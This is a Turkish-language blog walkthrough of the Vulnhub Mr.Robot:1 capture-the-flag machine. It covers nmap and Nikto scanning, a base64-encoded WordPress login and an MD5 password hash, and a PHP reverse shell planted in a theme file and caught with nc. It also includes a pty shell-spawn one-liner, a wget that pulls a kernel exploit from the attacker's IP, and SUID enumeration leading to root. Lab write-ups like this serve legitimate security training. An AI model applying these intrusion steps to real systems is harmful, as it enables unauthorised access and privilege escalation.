24 Ocak 2017 Salı

MrRobot

Hello World Blog

Bugün Vulnhub'da bulunan Mr.Robot:1 makinesinin nasıl çözüldüğüne bakacağız.
Vulnhubda makinenin açıklama kısmına baktığımızda farklı noktalarda 3 adet 'flag' saklandığını görüyoruz.

Nmap Taraması

Tarama Kısmı

Öncelikle 'nmap' ile tarama yapıyoruz. Bunun için kullandığımız komut:

nmap -sS -sV 10.16.86.234 -vv
    
  • -sS : SYN taraması yapıyoruz. Açık portları tespit etmek için

  • -sV : Açık olan servislerin versiyon bilgisinide almak istediğimizi belirtiyoruz.

  • -vv : verbose. Tarama sonuçları geldikçe ekranda görmek istediğimizi belirtiyoruz.

Nmap Taraması

Lets Roll!

Yukarıdaki sonuçlarda da gördüğümüz üzere, 80 ve 443 nolu portlar açık. Buradan web servislerinin çalıştığını anlıyoruz. Şimdi web sayfamızı açıyoruz ve ne var ne yok bakıyoruz.


Nmap Taraması
Nmap Taraması


Sayfada komut satırı komut satırının aldığı bazı komutlar var. Ancak komutları denememe rağmen bir sonuç elde edemedim.
Kaynak koddaki URL'i de kurcalamak istedim ancak 'Invalid URL' yazısını görünce kurcalamayı bıraktım.

Web penetrasyon testlerinin bir klasiği haline gelen 'robots.txt dosyası arama'ya bizde katılıyoruz ve dosyamızı buluyoruz. ıçerisinden:

Nmap Taraması

key-1-of-3.txt dosyasında keyimizi buluyoruz ve ardından diğer dosya olan 'fsocity.dic' dosyasını da incelemeye koyuluyoruz.

Nmap Taraması

indirdiğimiz dosyanın içerisinden 800k küsür text olduğunu görüyor ve işe yaramaz diyerek zaman kaybetmeden yolumuza devam ediyoruz.

Daha fazla bilgi elde etme amacıyla sitemizi 'Nikto' aracının eline veriyoruz.

Nikto açık kaynak kodlu bir web uygulama zafiyet tarama aracı.

Nmap Taraması

Yukarıdaki nikto çıktısından anlayacağımız üzere, sistemin PHP 5.5.29 sürümünü kullanmakta ve aşağıdaki dizinleri içermekte:

/admin/
/readme.html
/robots.txt
/license.txt
/admin/index.html


Tek tek tüm dizinlere ziyaretlerimizi gerçekleştirdikten sonra 'readme.html' içerisinde Wordpressin 4.3.6 sürümünün kullanıldığı bilgisini elde ediyoruz.

'licence.txt' içerisinde sayfanın en alt kısmında


                                "ZWxsaW90OkVSMjgtMDY1Mgo="
                                
BASE64 stringini buluyoruz.


Nmap Taraması

Acaba Wordpress paneli için geçerli giriş bilgileri olabilir mi ? Diye düşünerek deniyoruz veee içerdeyiz!



Nmap Taraması

İçeride bir süre gezindikten sonra bir şey bulamadım. Bende bir reverse shell alma vakti geldi diyerek 'pentestmonkey' sitesi üzerindeki reverse shelleri denedim ancak sonuç alamadım.


Nmap Taraması

Appearance/Editor kısmından ilk sırada bulunan 404.php sayfasını komple silip 'pentestmonkey'nin php-reverse-shell dosyasını yerine yazdım.

Çok pratik bir yol değil ama başka bir seçenek bulamadım. Nihayetinde 'nc' ile dinlediğim makineden bağlantı alabildim!

Nmap Taraması

Bu shell çok cazip olmadığından dolayı başka bir shell spawn edelim. ınteraktif bir shellide şu şekilde spawn ediyoruz:

python -c 'import pty;pty.spawn("/bin/sh")


İçeride biraz dolandıktan sonra .bash_history de belki bi şey yakalarım diye /home dizini altına baktım.

Dosyanın mıntıkasına bakan dayı okuyabiliyor. password.raw-md5 dosyasında 'robot:c3fcd3d76192e4007dfb496cca67e13b' stringini gördüm ve hemen MD5'ı decrypt etmeyi denedim.

Nmap Taraması

Ardından bu parolayı kullanarak 'robot' isimli kullanıcıya geçiş yaptım.

Nmap Taraması
Giriş yaptıktan sonra key dosyasını okudum ve diğer flage ulaştım.

Nmap Taraması



Vakit öldürmek için biraz dizinlerde dolaştım.Ardından 'find' komutu ile içinde key geçen ne varsa tarattırdım. Ancak bir şey elde edemedim. Bende makinede root olmaya karar verdim.

Olay linux üzerinde yetki yükseltmeye gelinceye haliyle okumamız gereken belli başlı dosyalar oluyor.

ınternette bu konu ile ilgili zirilyontane bilgi ve script bulabilirsiniz.
Biraz uğraşmak amacı ile ilk iş kernel versiyonuna baktım.

uname -a 

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Peki bi de ubuntu'nun hangi versiyonu bu ??

Öğrenmenin bir çok yolu var. /proc/version'u okuyabiliriz.

lsb_release -a


yada benim tercih ettiğim gcc version bilgisi.

Nmap Taraması
ınternette bir tutam arama yaptığımızda aşağıdaki güzel mi güzel exploiti buluyoruz.

https://www.exploit-db.com/exploits/37292/
Geriye bir tek exploiti indirip çalıştırmak kalıyor.

Mr.Robot makinam internete bağlanmadığı için saldırgan makinama exploiti indirip /var/www/ altına wget 10.16.87.24/37292.c komutu ile alıp indirdiğim dosyayı /tmp dizini altına kaydettim. Artık derleyip çalıştırmak kaldı.

Genelde bu tarz exploitlerde exploit dosyasının açıklama kısmında exploitin nasıl derleneceği belirtilir.

Nmap Taraması

Opps ! Exploit işe yaramadı. Sebebini araştırdıktan sonra ufak bi ayrıntıyı pas geçtiğimi anladım. Abimiz exploit'in açıklama kısmında Haziran 15 2015'den önceki kernellerde çalıştığını söylemiş.

Benim gibi wargame sevdalısı bi insansanız ve özellikle binary exploitation konularında wargame çözmeye kendinizi adamışsanız ise 2.nci seçenek olarak neden 'suid bit' sorusunun cevabını alırsınız.

find / -perm -u=s -type f 2>/dev/null
komutunun sonuçlarını terminalimizden rica ediyoruz.

Nmap Taraması

Değiştirilmediği sürece genel olarak aşağıdaki gibi bir çıktı alırız.

ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap ---> wtf ?

nmap'te suid bit var. Nmap'e neden takıldığımı merak edebilirsiniz. Linux üzerinde network işlemlerinde dikkatli olmak amacıyla bazı toollar (ping-ping6 gibi komutlar) suid bitli nmap gibi daha efektif toollar ise kuruldugu zaman default'ta root yetkisi ister.
Suid bit'i aktif felanda değildir.
Scapy ve nmap gibi kütüphaneler ile script geliştirdiyseniz daha iyi anlarsınız. Buyrunuz şekil A.

Nmap Taraması
Gözüme çarpan bu ayrıntıdan sonra biraz araştırdım. Dikkatli davranmanın verdiği ödül ile şöyle bi trick öğrenmiş oldum.

Nmap Taraması


Nmap Taraması


Nmap Taraması

Root olduktan sonraki ilk işlev /root dizini altına bakmak oldu ve son flagimiz oradaymış.
Nmap Taraması


Nmap Taraması

Hiç yorum yok:

Yorum Gönder